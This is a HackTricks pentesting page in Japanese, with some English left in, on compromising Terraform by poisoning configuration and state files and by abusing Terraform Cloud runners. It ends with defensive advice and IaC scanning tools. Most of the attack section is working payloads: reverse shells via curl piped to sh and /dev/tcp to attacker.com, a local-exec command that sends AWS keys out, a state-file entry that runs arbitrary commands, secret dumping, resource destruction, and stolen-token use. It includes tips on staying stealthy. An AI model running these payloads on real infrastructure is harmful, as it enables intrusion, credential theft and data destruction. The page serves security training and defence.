Terraform セキュリティ

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

ドキュメントより:

HashiCorp Terraform は インフラストラクチャをコードとして定義するツール で、クラウドおよびオンプレミスのリソース をバージョン管理、再利用、共有できる人間が読みやすい構成ファイルで定義できます。これにより、一貫したワークフローでインフラ全体をライフサイクルを通じてプロビジョニングおよび管理できます。Terraform は compute、storage、networking のような低レベルのコンポーネントだけでなく、DNS エントリや SaaS 機能のような高レベルのコンポーネントも管理できます。

Terraform はどのように動作するか?

Terraform はクラウドプラットフォームや他のサービスの API を通じてリソースを作成・管理します。プロバイダは、アクセス可能な API を持つほぼすべてのプラットフォームやサービスと Terraform を連携させます。

HashiCorp と Terraform コミュニティは既に 1700 を超えるプロバイダ を作成しており、さまざまなタイプのリソースやサービスを管理しています。この数は増え続けています。公開されているプロバイダはすべて Terraform Registry で確認でき、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog などが含まれます。

Terraform のコアワークフローは次の3つの段階で構成されます:

  • Write: 複数のクラウドプロバイダやサービスにまたがるリソースを定義します。例えば、VPC ネットワーク内の仮想マシンにアプリケーションをデプロイし、security groups と load balancer を構成する設定を作成することがあります。
  • Plan: Terraform は、既存のインフラとあなたの設定に基づいて、作成・更新・破棄されるインフラを記述する実行プランを作成します。
  • Apply: 承認されると、Terraform はリソース依存関係を尊重して適切な順序で提案された操作を実行します。例えば、VPC のプロパティを更新してその VPC 内の仮想マシンの数を変更した場合、Terraform は仮想マシンをスケールする前に VPC を再作成します。

Terraform ラボ

単にコンピュータに Terraform をインストールしてください。

こちらに ガイド があり、こちらが Terraform のダウンロード方法(推奨) です。

RCE in Terraform: config file poisoning

Terraform doesn’t have a platform exposing a web page or a network service we can enumerate, therefore, the only way to compromise terraform is to be able to add/modify terraform configuration files or to be able to modify the terraform state file (see chapter below).

However, terraform is a very sensitive component to compromise because it will have privileged access to different locations so it can work properly.

The main way for an attacker to be able to compromise the system where terraform is running is to compromise the repository that stores terraform configurations, because at some point they are going to be interpreted.

Actually, there are solutions out there that execute terraform plan/apply automatically after a PR is created, such as Atlantis:

Atlantis Security

If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed terraform plan or terraform apply.

Terraform plan

Terraform plan is the most used command in terraform and developers/solutions using terraform call it all the time, so the easiest way to get RCE is to make sure you poison a terraform config file that will execute arbitrary commands in a terraform plan.

Using an external provider

Terraform offers the external provider which provides a way to interface between Terraform and external programs. You can use the external data source to run arbitrary code during a plan.

Injecting in a terraform config file something like the following will execute a rev shell when executing terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

カスタムプロバイダの使用

攻撃者は custom providerTerraform Registry に提出し、その後 feature branch の Terraform コードにそれを追加することができます(example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

プロバイダは init 時にダウンロードされ、plan が実行されると悪意のあるコードが実行されます

You can find an example in https://github.com/rung/terraform-provider-cmdexec

外部参照の利用

どちらのオプションも有用ですが、あまりstealthyではありません(2つ目の方が1つ目よりstealthyですが、より複雑です)。次の提案に従うことで、この攻撃をさらにstealthier wayで行うことができます:

  • terraformファイルにrev shellを直接追加する代わりに、rev shellを含む外部リソースを読み込むことができます:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • 外部リソースでは、ref 機能を使ってリポジトリ内のブランチにある terraform rev shell code in a branch を隠します。例えば: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply はすべての変更を反映するために実行されます。また、local-exec を使った a malicious Terraform file with を注入して RCE を得るように悪用することもできます。
次のようなペイロードが main.tf ファイルに含まれるようにすればよいです:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

前の手法からの提案に従い外部参照を使用してよりステルスに実行することでこの攻撃を行ってください。

シークレットのダンプ

terraform ファイルに次のようなものを追加し、terraform apply を実行すると、terraform が使用するシークレット値をダンプさせることができます:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform State Filesの悪用

terraform state files に対して書き込み権限があるが terraform のコードを変更できない場合、this research はそのファイルを利用するための興味深い方法をいくつか紹介しています。たとえ config files に書き込み権限があっても、state files を使うベクターの方が痕跡を残さずに済むことが多く、git の履歴に記録が残りません。

RCE in Terraform: config file poisoning

It is possible to create a custom provider and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.

The provider statefile-rce builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute command. When the terraform run is triggered, this will be read and executed in both the terraform plan and terraform apply steps. In case of the terraform apply step, terraform will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the GitHub repository hosting the source code for this provider.

To use it directly, just include the following at any position of the resources array and customize the name and the command attributes:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

そして、terraform が実行されるとすぐに、あなたのコードが実行されます。

リソースの削除

リソースを破棄する方法は2つあります:

  1. 破棄対象の実際のリソースを指す、ランダムな名前のリソースをstate ファイルに挿入する

terraform はそのリソースが存在すべきでないと判断するため、実際のリソース ID に従ってそれを破棄します。前ページの例:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. 更新できないようにリソースを変更して削除させる(つまり削除されて再作成される)

EC2 インスタンスの場合、インスタンスタイプを変更するだけで terraform が削除して再作成します。

ブラックリスト化されたプロバイダを置き換える

もし hashicorp/external がブラックリストに登録されている場合、以下の手順で external プロバイダを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external provider のフォークを使用しています。自分のフォークや再実装を公開しても構いません。

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

その後、通常どおり external を使用できます。

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan による RCE と credential exfiltration

このシナリオは Terraform Cloud (TFC) の runners を speculative plans の間に悪用し、ターゲットのクラウドアカウントへピボットします。

  • Preconditions:

  • 開発者のマシンから Terraform Cloud トークンを盗む。CLI はトークンをプレーンテキストで ~/.terraform.d/credentials.tfrc.json に保存している。

  • そのトークンはターゲットの organization/workspace へアクセスでき、少なくとも plan 権限を持っている必要がある。VCS-backed workspaces は CLI からの apply をブロックするが、それでも speculative plans は許可する。

  • TFC API を用いて workspace と VCS 設定を確認する:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • external data source と Terraform Cloud “cloud” ブロックを使用して VCS-backed workspace をターゲットにし、speculative plan の実行中にコード実行をトリガーする:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

TFC runner上でreverse shellを取得するためのrsync.shの例:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

エフェメラルランナー上でプログラムを実行するための試行的プランを実行する:

terraform init
terraform plan
  • ランナーから注入されたクラウド認証情報を列挙して持ち出す。実行中、TFC はファイルと環境変数を介してプロバイダ認証情報を注入します:
env | grep -i gcp || true
env | grep -i aws || true

ランナーの作業ディレクトリに期待されるファイル:

  • GCP:

  • tfc-google-application-credentials (Workload Identity Federation の JSON 設定)

  • tfc-gcp-token (短期の GCP アクセストークン)

  • AWS:

  • tfc-aws-shared-config (web identity/OIDC ロール引受設定)

  • tfc-aws-token (短期トークン; 一部の組織は静的キーを使用する場合あり)

  • 短期の認証情報を別経路で使用して VCS のゲートを回避する:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

これらの認証情報を使うと、攻撃者はネイティブCLIを直接使ってリソースを作成/変更/削除でき、VCS経由でのapplyをブロックするPRベースのワークフローを回避できます。

  • Defensive guidance:
  • TFC ユーザー/チームおよびトークンには最小権限の原則を適用する。メンバーシップを監査し、過剰な権限を持つオーナーを避ける。
  • 可能な場合、機密性の高いVCS-backedワークスペースではplan権限を制限する。
  • Sentinel ポリシーで provider/data source の allowlists を強制し、data "external" や不明なプロバイダーをブロックする。provider フィルタリングに関する HashiCorp のガイダンスを参照する。
  • 静的なクラウド資格情報よりも OIDC/WIF を優先する。runners を機密とみなし、投機的な plan 実行や予期しない egress を監視する。
  • tfc-* 認証情報アーティファクトの持ち出し (exfiltration) を検出し、plan 実行中の疑わしい external プログラム使用をアラートする。

Terraform Cloud の侵害

トークンを使用する

explained in this post の説明のとおり、terraform CLI はトークンをプレーンテキストで ~/.terraform.d/credentials.tfrc.json に保存します。これを盗むと攻撃者はトークンのスコープ内でユーザーになりすますことができます。

このトークンを使用すると、次のように org/workspace を取得することができます:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

前章で説明したように、terraform plan を使用して任意のコードを実行することが可能です。

クラウドへの脱出

ランナーが何らかのクラウド環境内に存在する場合、そのランナーに紐づけられたプリンシパルのトークンを取得し、アウトオブバンドで利用することが可能です。

  • GCP files (現在の実行ワーキングディレクトリに存在)

  • tfc-google-application-credentials — 外部アイデンティティを交換する方法を Google に指示する Workload Identity Federation(WIF) 用の JSON 設定。

  • tfc-gcp-token — 上記で参照される短期間有効(≈1時間)の GCP アクセストークン

  • AWS ファイル

  • tfc-aws-shared-config — web identity federation/OIDC によるロールアサンプション用の JSON(静的キーより推奨)。

  • tfc-aws-token — 短期間有効なトークン、または設定ミスがある場合は静的な IAM キーの可能性もある。

自動監査ツール

Snyk Infrastructure as Code (IaC)

Snyk は Terraform、CloudFormation、Kubernetes、その他の IaC フォーマットにおける脆弱性や設定ミスを検出する包括的な Infrastructure as Code (IaC) スキャンソリューションを提供します。

  • 機能:
  • セキュリティ脆弱性やコンプライアンス問題に対するリアルタイムスキャン。
  • バージョン管理システム(GitHub、GitLab、Bitbucket)との統合。
  • 自動的な修正用プルリクエスト。
  • 詳細な修復アドバイス。
  • サインアップ: Snyk でアカウントを作成してください。
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov は、infrastructure as code (IaC) 向けの静的コード解析ツールであり、イメージやオープンソースパッケージ向けのソフトウェア構成解析 (SCA) ツールでもあります。

これは、TerraformTerraform planCloudformationAWS SAMKubernetesHelm chartsKustomizeDockerfileServerlessBicepOpenAPIARM Templates、またはOpenTofu を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンでセキュリティおよびコンプライアンスの設定ミスを検出します。

また、Software Composition Analysis (SCA) scanning を実行し、オープンソースパッケージやイメージを対象に Common Vulnerabilities and Exposures (CVEs) を検出するスキャンを行います。

pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance は、terraform に対する軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークで、あなたの Infrastructure-as-Code (IaC) に対するネガティブテスト機能を提供します。

  • compliance: 実装されたコードがセキュリティ基準や独自の基準に従っていることを保証します
  • behaviour driven development: ほぼすべてに対して BDD があるなら、IaC にもあるべきでは?
  • portable: pip からインストールするか docker で実行するだけです。See Installation
  • pre-deploy: デプロイ前にコードを検証します
  • easy to integrate: pipeline(または git hooks)で実行でき、すべてのデプロイが検証されることを保証できます。
  • segregation of duty: テストを別のリポジトリに保持し、別チームが責任を持つようにできます。

Note

残念ながら、コードがあなたがアクセスできないいくつかの providers を使用している場合、terraform plan を実行できず、このツールを動かせない可能性があります。

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsec は Terraform コードの静的解析を用いて、潜在的な誤設定を検出します。

  • ☁️ 主要(および一部のマイナー)なクラウドプロバイダ全体の誤設定をチェックします
  • ⛔ 数百の組み込みルール
  • 🪆 モジュール(ローカルおよびリモート)をスキャンします
  • ➕ HCL 式とリテラル値の両方を評価します
  • ↪️ Terraform 関数(例: concat())を評価します
  • 🔗 Terraform リソース間の関係性を評価します
  • 🧰 Terraform CDK と互換性があります
  • 🙅 ユーザー定義の Rego ポリシーを適用(および拡張)します
  • 📃 複数の出力フォーマットをサポート: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ 設定可能(CLI フラグおよび/または設定ファイル経由)
  • ⚡ 非常に高速で、大規模なリポジトリを素早くスキャンできます
brew install tfsec
tfsec /path/to/folder

terrascan

TerrascanはInfrastructure as Code向けのstatic code analyzerです。Terrascanを使用すると次のことが可能です:

  • シームレスに infrastructure as code の設定ミスをスキャンする。
  • プロビジョニングされたクラウドインフラの設定変更(ポスチャードリフトを引き起こすもの)を監視し、安全なポスチャーに戻すことを可能にする。
  • セキュリティ脆弱性とコンプライアンス違反を検出する。
  • クラウドネイティブインフラのプロビジョニング前にリスクを軽減する。
  • ローカルでの実行や CI\CD との統合など柔軟に運用できる。
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

CheckmarxによるKICSを使用して、Infrastructure-as-Codeの開発サイクルの早い段階で、セキュリティ脆弱性、コンプライアンス問題、およびインフラ設定の誤りを発見します。

KICSは「Keeping Infrastructure as Code Secure」の略で、オープンソースであり、あらゆるクラウドネイティブプロジェクトにとって必須のツールです。

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

From the docs: Terrascan は Infrastructure as Code(IaC)の静的コード解析ツールです。Terrascan により以下が可能になります:

  • IaC の誤設定をシームレスにスキャンする。
  • プロビジョニング済みのクラウドインフラを監視し、設定変更によって生じる構成ドリフト(posture drift)を検出し、セキュアな状態へ戻すことを可能にする。
  • セキュリティ脆弱性やコンプライアンス違反を検出する。
  • クラウドネイティブなインフラをプロビジョニングする前にリスクを軽減する。
  • ローカルで実行するか、CI\CD に統合する柔軟性を提供する。
brew install terrascan

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする